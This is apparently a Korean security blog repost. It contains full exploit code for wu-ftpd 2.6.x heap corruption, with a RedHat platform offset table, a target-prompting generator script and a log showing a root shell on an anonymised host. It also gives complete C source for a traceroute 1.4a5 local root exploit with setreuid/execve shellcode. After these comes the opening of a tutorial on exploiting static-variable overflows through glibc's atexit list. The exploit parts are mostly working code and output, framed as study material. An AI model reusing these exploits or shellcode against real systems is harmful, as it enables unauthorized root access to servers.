       strcode[num_0 +12] =  (shelladdr & 0x000000ff) >> 0;
       strcode[num_0 +13] =  (shelladdr & 0x0000ff00) >> 8;
       strcode[num_0 +14] =  (shelladdr & 0x00ff0000) >>16;
       strcode[num_0 +15] =  (shelladdr & 0xff000000) >>24;
       strcode[num_0 +16] = (0xfffffff0 & 0x000000ff) >> 0;
       strcode[num_0 +17] = (0xffffffff & 0x0000ff00) >> 8;
       strcode[num_0 +18] = (0xffffffff & 0x00ff0000) >>16;
       strcode[num_0 +19] = (0xffffffff & 0xff000000) >>24;
       strcode[num_0 +20] = (0xfffffffc & 0x000000ff) >> 0;
       strcode[num_0 +21] = (0xffffffff & 0x0000ff00) >> 8;
       strcode[num_0 +22] = (0xffffffff & 0x00ff0000) >>16;
       strcode[num_0 +23] = (0xffffffff & 0xff000000) >>24;
       strcode[num_0 +24] =       (gotr & 0x000000ff) >> 0;
       strcode[num_0 +25] =       (gotr & 0x0000ff00) >> 8;
       strcode[num_0 +26] =       (gotr & 0x00ff0000) >>16;
       strcode[num_0 +27] =       (gotr & 0xff000000) >>24;
       strcode[num_0 +28] =  (shelladdr & 0x000000ff) >> 0;
       strcode[num_0 +29] =  (shelladdr & 0x0000ff00) >> 8;
       strcode[num_0 +30] =  (shelladdr & 0x00ff0000) >>16;
       strcode[num_0 +31] =  (shelladdr & 0xff000000) >>24;

   }   /**************** Chunk Point! *******************/
   {   // 청크를 가리킴
        password[0x0000001d] = (pointr & 0x000000ff) >> 0;
        password[0x0000001e] = (pointr & 0x0000ff00) >> 8;
        password[0x0000001f] = (pointr & 0x00ff0000) >>16;
        password[0x00000020] = (pointr & 0xff000000) >>24;
   }
   // sleep(10); /* 디버깅시 유용함 */
   num_0 = 0x00000000;
   for(num_1 = 0; num_1 < 320 - strlen(shellcode); num_1 += 6) {
       maincode[num_0++] = '@';
       maincode[num_0++] = 0xeb; // jump
       maincode[num_0++] = 0x0c; // 12
       maincode[num_0++] = '@';
   }
   for(num_1 = 0; num_1 < strlen(shellcode); num_1++) {
       maincode[num_0++] = shellcode[num_1];
   }
   snprintf(atexec, 1024 * 4, 
           "%s\n%s\n%s%s\n    %s", // code가 덮일 위치 및 code 작성 
           username, password, plat[type].attype, strcode, maincode); 
   printx(atexec);
   printf("\n\n\n\n\n");
  
   snprintf(command, 0x82, "list ~{\nquit\n"); // 공격
   printx(command);

}

printx(ppp) char *ppp; {
    while(*ppp) {
    if(*ppp==(char)0xff) putchar(*ppp); // 터미널 문자 반복처리 출력
    putchar(*ppp); ppp++;
    }
}   

usages(char *argument) {

  printf("\n Usages: %s -options arguments\n\n", argument);
  printf("  -t [Platform Number]   - Platform Type Number\n");
  printf("  -s [Shellcode Address] - Pushing shellcode address\n");
  printf("  -r [Retloc Address]    - Find retloc address\n");
  printf("  -p [Chunk Pointer]     - Fake Chunk address\n");

  system("cat ./platform.txt");
  
  printf(" Example:\n 
  %s -s %p -r %p -p %p\n"
, argument, CODE, GOTR, POINT);
  printf("\n Example2: %s -t 0\n\n", argument);
  exit(0);

}


--- os-plat.h ---


/*
**
** - Platform SyStype Select - Header File !
**
** find & make by "you dong-hun"(Xpl017Elz), <szoahc@hotmail.com>. 
** My World: http://x82.i21c.net
**
*/

struct os {

    int num;
    char *osfp;
    unsigned long pointr;
    unsigned long gotr;
    unsigned long shaddr;
    char *attype;
};

struct os plat[] =
{
    { /* 0x0806bae4 R_386_JUMP_SLOT   syslog */
    0,
    "RedHat Linux 6.1 wu-ftpd-2.6.0.tar.gz",
    0x08087680,
    0x0806bae4,
    0x0807d628,
    "site exec "
    },
    { /* 0x0806e088 R_386_JUMP_SLOT   syslog */
    1,
    "RedHat Linux 6.1 wu-ftpd-2.6.0-3.i386.rpm",
    0x08090b8d,
    0x0806e088,
    0x0807fbd1,
    "stat ~xpl "
    },
    { /* 0x0806e088 R_386_JUMP_SLOT   syslog */
    2,
    "RedHat Linux 6.1 wu-ftpd-2.6.0-3bc.i386.rpm",
    0x08090b18,
    0x0806e088,
    0x0807fbe9,
    "site exec "
    },
    { /* 0x08070414 R_386_JUMP_SLOT   syslog */
    3,
    "RedHat Linux 6.1 wu-ftpd-2.6.0-14.6x.i386.rpm",
    0x080946b8,
    0x08070414,
    0x08083371,
    "site exec "
    },
    { /* 0x0806bb04 R_386_JUMP_SLOT   syslog */
    4,
    "RedHat Linux 6.2 wu-ftpd-2.6.0.tar.gz",
    0x08087655,
    0x0806bb04,
    0x0807d631,
    "stat 0x82 " 
    },
    { /* 0x0806e088 R_386_JUMP_SLOT   syslog */
    5,
    "RedHat Linux 6.2 wu-ftpd-2.6.0-3.i386.rpm",
    0x08090b1d,
    0x0806e088,
    0x0807fbe9,
    "stat 0x82 " 
    },
    { /* 0x0806e088 R_386_JUMP_SLOT   syslog */
    6,
    "RedHat Linux 6.2 wu-ftpd-2.6.0-3bc.i386.rpm",
    0x08090b2d,
    0x0806e088,
    0x0807fbd1,
    "stat ~xpl " 
    },
    { /* 0x08070414 R_386_JUMP_SLOT   syslog */
    7,
    "RedHat Linux 6.2 wu-ftpd-2.6.0-14.6x.i386.rpm",
    0x080946b8,
    0x08070414,
    0x080833b1,
    "site exec "
    },
    { /* 0x0806e088 R_386_JUMP_SLOT   syslog */
    8,
    "RedHat Linux 7.0 wu-ftpd-2.6.0-3.i386.rpm",
    0x08090b8d,
    0x0806e088,
    0x08089b40,
    "stat ~xpl "
    },
    { /* 0x0806f170 R_386_JUMP_SLOT   syslog */
    9,
    "RedHat Linux 7.0 wu-ftpd-2.6.1-3.6x.i386.rpm",
    0x0808ce88,
    0x0806f170,
    0x08082cc2,
    "stat 0x82 "
    },
    { /* 0x08070cb0 R_386_JUMP_SLOT   syslog */
    10,
    "RedHat Linux 7.0 wu-ftpd-2.6.1-6.i386.rpm", /* 7.0 Default */
    0x0808e73d,
    0x08070cb0,
    0x08084622,
    "stat 0x82 "
    },   
    { /* 0x08073018 R_386_JUMP_SLOT   syslog */
    11,
    "RedHat Linux 7.1 wu-ftpd-2.6.1-16.i386.rpm",
    0x82828282,
    0x08073018,
    0x08085de0,
    "cwd ~/xpl "
    },
    { /* 0x08071748 R_386_JUMP_SLOT   syslog */
    12,
    "RedHat Linux 7.1 wu-ftpd-2.6.1-18.i386.rpm",
    0x82828282,
    0x08071748,
    0x08085900,
    "cwd ~/xpl "
    },
    { /* 0x08073018 R_386_JUMP_SLOT   syslog */
    13,
    "RedHat Linux 7.2 wu-ftpd-2.6.1-16.i386.rpm",
    0x82828282,
    0x08073018,
    0x08085de0,
    "cwd ~//// "
    },
    { /* 0x08072af8 R_386_JUMP_SLOT   syslog */
    14,
    "RedHat Linux 7.2 wu-ftpd-2.6.1-18.i386.rpm",
    0x82828282,
    0x08072af8,
    0x08085900,
    "cwd hello "
    }
/* Hate Kiddies */
};


--- platform.txt ---


* Platform Type Number List -

  0) RedHat Linux 6.1 wu-ftpd-2.6.0.tar.gz
  1) RedHat Linux 6.1 wu-ftpd-2.6.0-3.i386.rpm
  2) RedHat Linux 6.1 wu-ftpd-2.6.0-3bc.i386.rpm
  3) RedHat Linux 6.1 wu-ftpd-2.6.0-14.6x.i386.rpm
  4) RedHat Linux 6.2 wu-ftpd-2.6.0.tar.gz
  5) RedHat Linux 6.2 wu-ftpd-2.6.0-3.i386.rpm
  6) RedHat Linux 6.2 wu-ftpd-2.6.0-3bc.i386.rpm
  7) RedHat Linux 6.2 wu-ftpd-2.6.0-14.6x.i386.rpm
  8) RedHat Linux 7.0 wu-ftpd-2.6.0-3.i386.rpm
  9) RedHat Linux 7.0 wu-ftpd-2.6.1-3.6x.i386.rpm
10) RedHat Linux 7.0 wu-ftpd-2.6.1-6.i386.rpm
11) RedHat Linux 7.1 wu-ftpd-2.6.1-16.i386.rpm
12) RedHat Linux 7.1 wu-ftpd-2.6.1-18.i386.rpm
13) RedHat Linux 7.2 wu-ftpd-2.6.1-16.i386.rpm
14) RedHat Linux 7.2 wu-ftpd-2.6.1-18.i386.rpm


--- xploit-generator ---


#!/bin/sh
#
# WOOoou-FTPd xploit-generator exploit. 
#
# by Xpl017Elz in INetCop(c)
#
(printf "\n Welcome to WOOoou-FTPd AttACK HAPPY EXPLOIT PROJECT v02/04/05\n");
(printf "\n [0] ftp username (ex - anonymous): "); read name;
#
if [ "$name" != "anonymous" ]; then
(printf " - Username != anonymous\n - mer0ng, :-p\n\n"); exit; fi
(printf " [1] target hostname (domain & ip): "); read host;
(printf " [2] Target Ftpd version & type -\n");
cat platform.txt
(printf " - FTPd version type (ex - 0): "); read plfm;
(printf " - OK, Platform Type Number: $plfm\n\n");
(printf " * Thanks ur infomation :-)\n");
./bugfinder $host $plfm
(printf "\n by Xpl017Elz\n\n");
#
# Cool? Hmmmm ... :-x
# G00dbye, Kiddies.
#


--- Success ---


[x82@xpl017elz WOOoou~Happy-2.6.1.xpl]$ ./xploit-generator

Welcome to WOOoou-FTPd AttACK HAPPY EXPLOIT PROJECT v02/04/05

[0] ftp username (ex - anonymous): anonymous
[1] target hostname (domain & ip): 61.xx.177.xx
[2] Target Ftpd version & type -

* Platform Type Number List -

  0) RedHat Linux 6.1 wu-ftpd-2.6.0.tar.gz
  1) RedHat Linux 6.1 wu-ftpd-2.6.0-3.i386.rpm
  2) RedHat Linux 6.1 wu-ftpd-2.6.0-3bc.i386.rpm
  3) RedHat Linux 6.1 wu-ftpd-2.6.0-14.6x.i386.rpm
  4) RedHat Linux 6.2 wu-ftpd-2.6.0.tar.gz
  5) RedHat Linux 6.2 wu-ftpd-2.6.0-3.i386.rpm
  6) RedHat Linux 6.2 wu-ftpd-2.6.0-3bc.i386.rpm
  7) RedHat Linux 6.2 wu-ftpd-2.6.0-14.6x.i386.rpm
  8) RedHat Linux 7.0 wu-ftpd-2.6.0-3.i386.rpm
  9) RedHat Linux 7.0 wu-ftpd-2.6.1-3.6x.i386.rpm
10) RedHat Linux 7.0 wu-ftpd-2.6.1-6.i386.rpm
11) RedHat Linux 7.1 wu-ftpd-2.6.1-16.i386.rpm
12) RedHat Linux 7.1 wu-ftpd-2.6.1-18.i386.rpm
13) RedHat Linux 7.2 wu-ftpd-2.6.1-16.i386.rpm
14) RedHat Linux 7.2 wu-ftpd-2.6.1-18.i386.rpm

- FTPd version type (ex - 0): 5
- OK, Platform Type Number: 5

* Thanks ur infomation :-)

[+] Finding Wu-FTPd Version Bug -

* OK, Finded Bug
* Execute exploit, Type Method.

220 testsub2 FTP server (Version wu-2.6.0(1) Mon Feb 28 10:30:36 EST 2000) ready
.
331 Guest login ok, send your complete e-mail address as password.
230 Guest login ok, access restrictions apply.
200-綜綜綜綜綜綜綜綜綜綜熉                                 U?1육?甕/////bin/su
': command not understood.綜綜綜綜')                       M
500 '': command not understood.@?@?@?]?U?星?????M?@?@?@?@?@?@?@
500 '': command not understood.육=??./@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@U
500 '': command not understood.
500 '': command not understood.
id
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10
(wheel)
pwd
/home/ftp
exit

by Xpl017Elz

[x82@xpl017elz WOOoou~Happy-2.6.1.xpl]$

---

P.S-2: 제가 알고있는 WU-FTPd exploit은 Team TESO의 exploit과 zen-parse,
그리고 dove의 exploit. 전부 세가지입니다. 각각 exploit의 공격 method를 살펴보면
그 방식이 조금씩 다른 재미있는 사실을 알 수 있을 것입니다.


2) traceroute exploit.


역시, 유명한 Heap 기반 exploit 입니다.
아래 첨부하는 것은 제가 예전에 연구할 때 작성했던 code입니다.
매우 쉽게 짜여져 있으니, 공부하는데 큰 어려움은 없을 것입니다. :-)

관련 report는 synnergy팀의 문서를 link 하도록 하겠습니다.

URL - http://synnergy.net/downloads/exploits/traceroute-exp.txt


--- 0x82-Local.Trxpl.c ---


/*
**
** traceroute 1.4a5 exploit
**
** exploit by "you dong-hun"(Xpl017Elz), <szoahc@hotmail.com>. 
** My World: http://x82.i21c.net
**
** Special Greets: sorbo(c00l c0de), dvorak(c00l advisory).
**
*/

#include <stdio.h>
#define TR "/usr/sbin/traceroute"
#define Xpl017Elz "x82"

char fakechunk[] =
        "\xfc\xfc\xff\xff"  /* fpucking chunk */
        "\xb8\xc7\x04\x08"; /* GOT free 0804c7c4-0xc */
        /* objdump -R /usr/sbin/traceroute | grep free */

char jmpcode[] = /* jmp ! */
        "\xeb\x0a\xeb\x0a\xeb\x0a\xeb\x0a\xeb\x0a\xeb\x0a\xeb\x0a\xeb\x0a"
        "\xeb\x0a\xeb\x0a\xeb\x0a\xeb\x0a\xeb\x0a\xeb\x0a\xeb\x0a\xeb\x0a"
        "\xeb\x0a\xeb\x0a\xeb\x0a\xeb\x0a\xeb\x0a\xeb\x0a\xeb\x0a\xeb\x0a";
        
char shellcode[] = /* setreuid(0,0); and, execute /bin/sh */
        "\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80"
        "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
        "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
        "\x80\xe8\xdc\xff\xff\xff/bin/sh";

int main() { 

    char x0x[1024], x82buf[0x82], x82x82[1024*2], tr[0x82] = TR;
    char *arguments[] = {"x82", "-g", "82.8.2", "-g", x82buf, x0x, NULL};
    int num_0, num_1, num_2, code, nop; 
    unsigned long addr = 0;
    bzero(&x0x,    1024); 
    bzero(&x82buf, 0x82);
    
    for(code = 0; code < strlen(jmpcode); code++) {
        x0x[code] = jmpcode[code];
    }
    for(nop = 0; nop < 0x20; nop++) {
        x0x[code++] = 0x90;
    }
    for(num_0 = 0; num_0 < strlen(shellcode); num_0++) {
        x0x[code++] = shellcode[num_0];
    }
    strcpy(x82buf, "8.2.8.17 x82"); num_2 = strlen(x82buf);
    for(num_1 = 0; num_1 < strlen(fakechunk); num_1++) {
        x82buf[num_2++] = fakechunk[num_1];
    }

    addr = 0xc0000000 - strlen(x0x);
    x82buf[num_2++] = (addr & 0x000000ff) >> 0;
    x82buf[num_2++] = (addr & 0x0000ff00) >> 8;
    x82buf[num_2++] = (addr & 0x00ff0000) >>16;
    x82buf[num_2++] = (addr & 0xff000000) >>24;
    
    printf("\n traceroute 1.4a5 exploit\n");
    printf("\t\t\t\tby Xpl017Elz\n");
    printf("\n___(Code.Dumped)___\n");
    sprintf(x82x82, "echo \"%s\" | hexdump", x82buf);
    system(x82x82); 
    sprintf(x82x82, "echo \"%s\" | hexdump", x0x);
    system(x82x82);
    printf("___(___E.N.D___)___\n\n");

    execve(tr, arguments, NULL);

} 


--- eof ---


0x03. Reference.


- Phrack #57/9 "Once upon a free()"
- truefinder "Heap Overflow - feee/malloc, double Free Corruption"
- dvorak "LBL traceroute exploit"
- CORE Security Technologies "Vulnerability Report For WU-FTPD Server"


P.S-3: free ur mind! :-D
 
 

[펌 : http://webcache.googleusercontent.com/search?q=cache:wEM5wJlwXhQJ:www.hackerschool.org/HS_Boards/data/Lib_system/free_malloc.txt+&cd=4&hl=ko&ct=clnk&gl=kr&lr=lang_ko&client=ubuntu ]

블로그 이미지

KuroNeko_

KuroNeko

,
반응형
               비초기화 정적 변수의 오버플러어에 대한 exploit의 제작 기법(1)
             
                                             mutacker in Null@Root 
                                             mutacker@null2root.org, dbyeom@mail.hangkong.ac.kr
                                             (http://mutacker.null2root.org)

///////////////////////////////////////////////////////////////////////////////////////////////
/////// 1. 글 쓰기에 앞서

먼저 글 쓰기에 앞서 항상 저를 도와주시는 많은 분들에게 감사드린다.
해킹의 새로운 기술이나 기법을 발견하고 생각해 내는 작업은 분명 혼자서 해나가기에는 
지치고 힘이 들 때가 많다. 하지만, 항상 곁에서 지켜봐주고, 도와주고 조언을 아끼지 않는 수많은
분들이 있기에 가능한 일이 아닌가 싶다.
다시 한번 그 분들에게 감사를 표한다.
우리의 null@root 가족들(에구 다 열거하기 힘드니.. 가족들로 ^^;), 
amadoh4ck, truefinder(frog ^^;), black, mat, and so on...

본 문서에 대한 판권은 없는 것으로 하며, 단지 편집만은 금했으면 한다.
틀린 부분이나 오탈자 등은 본인에게 메일이나 주서식지(irc.null2root.org)에서 알려주시면, 
고맙겠습니다.
단지 본 문서에서는 방향만을 제시할 뿐 실제 특정 어플리케이션에 관련된 exploit을 제공하지는 않는다.
아무쪼록, 이 글이 한국 보안 전문가들이나 열심히 노력하는(? 뚫기위해가 아닌 기술발전을 위해) 해커들에게,
그리고 프로그램을 개발하는 개발자들에게 조그마한 도움이 되었으면 하는 바램에서 글을 적어본다.

이 문서의 최고 공개지는 http://mutacker.null2root.org이며, 
최초 문서 개제 장소는 http://www.khdp.org이다.
만일 다른 곳에 본 문서를 개제할 경우에는 그 출처를 정확히 밝혀주었으면 하는 바램이다.

///////////////////////////////////////////////////////////////////////////////////////////////
////// 2. 소개

우리는 buffer overflow 하면 stack overflow를 이용한 return address변경이나, 
data section overflow를 이용한 got영역의 변경, 
heap영역의 데이터 변경이나 chunk변경을 통한 방법 등을 생각한다.

본 문서에서 소개하고자 하는 것은 static형태의 변수가 오버플로어 될 때 발생하는 문제를 다루고자 한다.
이미 이에 대해 __atexit in memory bugs (By Pascal Bouchareine <pb@hert.org>) 문서가 존재하지만,
실제로 현재의 시스템에 적용이 되질 않는 관계로 새롭게 접근해 보고자 한다.
Pascal의 문서에서 사용되던 atexit 자료구조가 glibc가 버젼업 되면서 상당부분 변경이 된 것같다. 
즉, 현재의 시스템과 맞지 않는 부분이 대부분이다.

///////////////////////////////////////////////////////////////////////////////////////////////
/////// 3. 문제 설정 및 배경지식

<-- copy from here 

#include <stdring.h>

int main(int argc,char *argv[])
{
  static char buf[128];

  if(argc > 1)
    strcpy(buf,argv[1]);
}
-- to here -->

위의 예는 main()함수 내에 정적변수(static variable)을 두고, 인자값으로 들어온 것을 복사하고 있다.
아주 이해하기 쉬운 예제이며, 누구나 "아! 오버플로어가 발생하겠다"라고 할 것같은 예제이다.

하지만, 실제로 정적변수에 overflow가 발생하였다고 하여서 exploit이 작성이 가능한 것은 아니다.
만일 buf[]변수가 초기화가 이루어진 상황이라면, 위의 문제는 got영역을 변경하는 것으로 
바뀔 것이다. 
하지만, 위의 예는 비초기화된 정적변수로 메모리 구조상 오버플로어가 발생한다할지라도 
함수들의 포인터 값을 가지고 있는 got영역을 변경할 수는 없다.

아래의 그림은 실제 프로그램이 사용하는 메모리의 구조를 보이고 있다.

           +---------------------------------+
           |            Text 영역            |
           +---------------------------------+
           |        초기화된 전역변수        |
           +---------------------------------+
           |        초기화된 정적변수        |
           +---------------------------------+
           |              GOT                |
           +---------------------------------+
           |       비초기화된 정적변수       |
           +---------------------------------+
           |       비초기화된 전역변수       |
           +---------------------------------+
           |            Heap 영역            |
           +---------------------------------+
           |                                 |
            ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

            ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~        
           |                                 |
           +---------------------------------+
           |            Stack 영역           |
           +---------------------------------+

위의 예제에서는 단지 정적변수 하나만 존재하는 것으로 만일 오버플로어가 발생하였을 경우, 
변경 가능한 영역은 비초기화된 전역변수와 힙영역이 되겠다. 

///////////////////////////////////////////////////////////////////////////////////////////////
/////// 4. 문제 분석

자! 프로그램을 먼저 분석을 해보도록 하자.
일단, Heap을 사용하는 부분이 코드상에 보이지 않는다. 그렇다고 비초기화된 전역변수도 없다.
스택영역이 아닌 이유로 return address 영역도 없다. 힙을 사용하는 것같지도 않다. 
그러면 우리는 어디를 공격할 것인가?
그저 공격지점도 없이 망설이고 앉아만 있을 것인가? 

여기에서 우리는 우리의 프로세스가 생성이 되면서 main()함수가 시작되기 전에 무슨 일이 발생하는가를
먼저 살펴보자.

이를 위해 glibc 를 분석해 본다.
/glibc라이브러리/sysdeps/generic/libc-start.c
이 파일을 유심히 살펴보자.

이중에서 우리는 재미있는 내용을 발견할 수 있다.

---- glibc의 libc-start.c내의 __libc_start_main함수의 일부 내용 -----------

  /* Register the destructor of the dynamic linker if there is any.  */
  if (__builtin_expect (rtld_fini != NULL, 1))
    __cxa_atexit ((void (*) (void *)) rtld_fini, NULL, NULL);

  /* Call the initializer of the libc.  This is only needed here if we
     are compiling for the static library in which case we haven't
     run the constructors in `_dl_start_user'.  */
#ifndef SHARED
  __libc_init_first (argc, argv, __environ);
#endif

  /* Register the destructor of the program, if any.  */
  if (fini)
    __cxa_atexit ((void (*) (void *)) fini, NULL, NULL);

  /* Call the initializer of the program, if any.  */
#ifdef SHARED
  if (__builtin_expect (_dl_debug_mask & DL_DEBUG_IMPCALLS, 0))
    _dl_debug_printf ("\ninitialize program: %s\n\n", argv[0]);
#endif
  if (init)
    (*init) ();

#ifdef SHARED
  if (__builtin_expect (_dl_debug_mask & DL_DEBUG_IMPCALLS, 0))
    _dl_debug_printf ("\ntransferring control: %s\n\n", argv[0]);
#endif

  exit ((*main) (argc, argv, __environ));
}
--------------------------------------------------------------------------

위에서 보면 libc-start.c 는 먼저 내부적으로 fini함수의 주소값이 NULL이 아니라면, 
__cxa_atexit ((void (*) (void *)) fini, NULL, NULL); 를 호출하고 있음을 볼수 있다.

그리고, (*init) (); 호출이 된 후에, 
(init 섹션을 변경해서 거기에 바이러스 넣어두면 딱이겠다. 꾸울꺽!! 왠 헛소리ㅡㅡ;)

exit ((*main) (argc, argv, __environ)); 이 부분이 호출되어 지고 있다.
이때 우리의 친숙한 main()함수가 호출이 되는 것이다.
main()함수에서 설령 exit()을 하지 않았다고 할지라도, libc-start.c 내에 있는 
(*__libc_start_main)()에서 exit()를 호출하고 있음을 알 수 있다.
즉, main()함수의 리턴값이 exit()의 인자로 작용하고 있다.

위에서 우리가 주의깊게 보아야 할 부분이 바로 __cxa_atexit 함수의 호출 부분이다.

저 함수는 과연 무엇하는 함수인가? 

먼저 atexit.c 파일을 살펴보자.

----------------------- exit.h ---------------------------------------
#ifndef	_EXIT_H
#define _EXIT_H 1
enum
{
  ef_free,	/* `ef_free' MUST be zero!  */
  ef_us,
  ef_on,
  ef_at,
  ef_cxa
};

struct exit_function
  {
    /* `flavour' should be of type of the `enum' above but since we need
       this element in an atomic operation we have to use `long int'.  */
    long int flavor;
    union
      {
	void (*at) (void);
	struct
	  {
	    void (*fn) (int status, void *arg);
	    void *arg;
	  } on;
	struct
	  {
	    void (*fn) (void *arg, int status);
	    void *arg;
	    void *dso_handle;
	  } cxa;
      } func;
  };
struct exit_function_list
  {
    struct exit_function_list *next;
    size_t idx;
    struct exit_function fns[32];
  };
extern struct exit_function_list *__exit_funcs;
extern struct exit_function *__new_exitfn (void);
#endif	/* exit.h  */
----------------------------------------------------------------------

--------------------- cxa_atexit.c -----------------------------------
#include <bits/libc-lock.h>
#include <stdlib.h>
#include "exit.h"

/* Register a function to be called by exit or when a shared library
   is unloaded.  This function is only called from code generated by
   the C++ compiler.  */
int
__cxa_atexit (void (*func) (void *), void *arg, void *d)
{
  struct exit_function *new = __new_exitfn ();

  if (new == NULL)
    return -1;

  new->flavor = ef_cxa;
  new->func.cxa.fn = (void (*) (void *, int)) func;
  new->func.cxa.arg = arg;
  new->func.cxa.dso_handle = d;
  return 0;
}


/* We change global data, so we need locking.  */
__libc_lock_define_initialized (static, lock)


static struct exit_function_list initial;
struct exit_function_list *__exit_funcs = &initial;

struct exit_function *
__new_exitfn (void)
{
  struct exit_function_list *l;
  size_t i = 0;

  __libc_lock_lock (lock);

  for (l = __exit_funcs; l != NULL; l = l->next)
    {
      for (i = 0; i < l->idx; ++i)
	if (l->fns[i].flavor == ef_free)
	  break;
      if (i < l->idx)
	break;

      if (l->idx < sizeof (l->fns) / sizeof (l->fns[0]))
	{
	  i = l->idx++;
	  break;
	}
    }

  if (l == NULL)
    {
      l = (struct exit_function_list *)
	malloc (sizeof (struct exit_function_list));
      if (l != NULL)
	{
	  l->next = __exit_funcs;
	  __exit_funcs = l;

	  l->idx = 1;
      	  i = 0;
	}
    }

  /* Mark entry as used, but we don't know the flavor now.  */
  if (l != NULL)
    l->fns[i].flavor = ef_us;

  __libc_lock_unlock (lock);

  return l == NULL ? NULL : &l->fns[i];
}
----------------------------------------------------------------------

------------------ atexit.c ------------------------------------------
#include <stdlib.h>
#include "exit.h"

/* This is defined by newer gcc version unique for each module.  */
extern void *__dso_handle __attribute__ ((__weak__));


/* Register FUNC to be executed by `exit'.  */
int
atexit (void (*func) (void))
{
  return __cxa_atexit ((void (*) (void *)) func, NULL,
		       &__dso_handle == NULL ? NULL : __dso_handle);
}

/* Hide the symbol so that no definition but the one locally in the
   executable or DSO is used.  */
#ifdef HAVE_DOT_HIDDEN
asm (".hidden\tatexit");
#endif
----------------------------------------------------------------------

그렇다. 우리가 atexit으로 사용하고 있는 함수는 실제 __cxa_atexit을 호출하고 있음을 알 수 있다.
즉, __cxa_atexit ((void (*) (void *)) fini, NULL, NULL); 이 말은 fini함수를 atexit 리스트에
추가하라는 의미가 되겠다.

__cxa_atexit() 내부에서는 struct exit_function *new = __new_exitfn (); 을 통해 저장 공간을 만들고
그곳에 우리가 등록하고자 하는 함수의 주소를 기록하고 있음을 볼 수 있다.
처음으로 fini함수가 등록이 되는 것이라는 것은 이제 쉽게 알 수 있을 것이다.
여기에서 우리는 한가지 주목해야 할 부분이 있다.

static struct exit_function_list initial;
struct exit_function_list *__exit_funcs = &initial;

__new_exitfn ()은 위의 __exit_funcs것의 값을 이용하여 그 이후에 저장공간을 마련함을 알 수 있다.
만일 저장공간이 초기화가 되어있지 않은 상태라면(NULL)이라면, 
힙공간에 데이터가 생성되고 있음을 알수 있다.

l = (struct exit_function_list *)
	malloc (sizeof (struct exit_function_list));

자!! 어떤가? 우리는 우리의 프로그램이 설령 malloc()를 전혀 사용하지 않는 프로그램이라 할지라도
처음에 한번은 malloc()에 의해 데이터 공간이 생성되고 있음을 확인할 수 있다.
free() bug를 공부해 본 사람이라면, 눈이 번쩍 뜨일 내용이다.

실제로 exit()함수를 살펴보자. free()가 일어나고 있음을 우리는 보지 않고도 상상이 되리라 본다.

----------------------------- exit.c ------------------------------------
void
exit (int status)
{
  /* We do it this way to handle recursive calls to exit () made by
     the functions registered with `atexit' and `on_exit'. We call
     everyone on the list and use the status value in the last
     exit (). */
  while (__exit_funcs != NULL)
    {
      struct exit_function_list *old;

      while (__exit_funcs->idx > 0)
	{
	  const struct exit_function *const f =
	    &__exit_funcs->fns[--__exit_funcs->idx];
	  switch (f->flavor)
	    {
	    case ef_free:
	    case ef_us:
	      break;
	    case ef_on:
	      (*f->func.on.fn) (status, f->func.on.arg);
	      break;
	    case ef_at:
	      (*f->func.at) ();
	      break;
	    case ef_cxa:
	      (*f->func.cxa.fn) (f->func.cxa.arg, status);
	      break;
	    }
	}

      old = __exit_funcs;
      __exit_funcs = __exit_funcs->next;
      if (__exit_funcs != NULL)
	/* Don't free the last element in the chain, this is the statically
	   allocate element.  */
	free (old);
    }

#ifdef	HAVE_GNU_LD
  RUN_HOOK (__libc_atexit, ());
#else
  {
    extern void _cleanup (void);
    _cleanup ();
  }
#endif

  _exit (status);
}
----------------------------------------------------------------------

자!! 어떤가 free()가 호출되고 있음을 알 수 있다. 
      old = __exit_funcs;
      __exit_funcs = __exit_funcs->next;
      if (__exit_funcs != NULL)
	/* Don't free the last element in the chain, this is the statically
	   allocate element.  */
	free (old);

여기에서 우리는 __exit_funcs->next 부분에 어떤 특정 값을 넣어놓았다면,
그곳이 또한 free() 될 것이라는 것도 예상이 될 것이라 본다.

///////////////////////////////////////////////////////////////////////////////////////////////
/////// 5. 실험

실험환경은 Linux kernel 2.4.2-2 intelx86상에서 수행하였으며, 
실험에 사용한 glibc 버젼은 glibc-2.2.2-10이다.

우리는 위에서 얻은 지식을 통하여 실험을 통해 알아보도록 하자.
우리는 위에서 __cxa_atexit() 내부에서 __exit_funcs포인터가 가리키는 어떤 주소공간(initial이라는 변수)에 
atexit()에 의해 등록이 되는 함수의 포인터가 저장이 되고 있음을 알 수 있다.
또한, exit()함수는 __exit_funcs의 내용을 근거로해서 atexit에 의해 등록되어졌던 함수들이 순서대로
실행이 됨을 알았다.

이제 __exit_funcs은 어느 곳에 생겨나며, 우리가 어떻게 제어할 수 있는가에 대해 생각해 볼 필요가 있다.

우리는 아래의 두 라인을 이미 cxa_atexit.c의 내용에서 보았었다.

static struct exit_function_list initial;
struct exit_function_list *__exit_funcs = &initial;
이 두개의 변수를 잘 살펴보자. 이 두개의 변수를 이용하여 우리는 실제 공격을 감행할 것이기 때문이다.

####################################################################
### 5.1 공유라이브러리를 사용하는 경우. 실패를 두려워 하지말자!! ###
####################################################################

자! 실험을 해보도록 하자.
첫번째 공유라이브러리를 사용하는 경우를 살펴보겠다.

[mutacker@int static]$ cat > vul.c
#include <stdio.h>
int main(int argc, char*argv[]) {
        static char buf[128];
        if(argc > 1) strcpy(buf, argv[1]);
}
[mutacker@int static]$ gcc -o vul vul.c

[mutacker@int static]$ gdb vul -q
(gdb) b *(main+3)
Breakpoint 1 at 0x8048463
(gdb) r
Starting program: /home/mutacker/static/vul

Breakpoint 1, 0x08048463 in main ()

(gdb) p &initial
$1 = (struct exit_function_list *) 0x4014d9e0
(gdb) p &__exit_funcs
$2 = (struct exit_function_list **) 0x40149cbc
(gdb) x  0x40149cbc
0x40149cbc <__exit_funcs>:      0x4014d9e0

(gdb) x/32  &initial
0x4014d9e0 <initial>:           0x00000000      0x00000002      0x00000004      0x4000e184
0x4014d9f0 <initial+16>:        0x00000000      0x00000000      0x00000004      0x080484d0
0x4014da00 <initial+32>:        0x00000000      0x00000000      0x00000000      0x00000000
0x4014da10 <initial+48>:        0x00000000      0x00000000      0x00000000      0x00000000
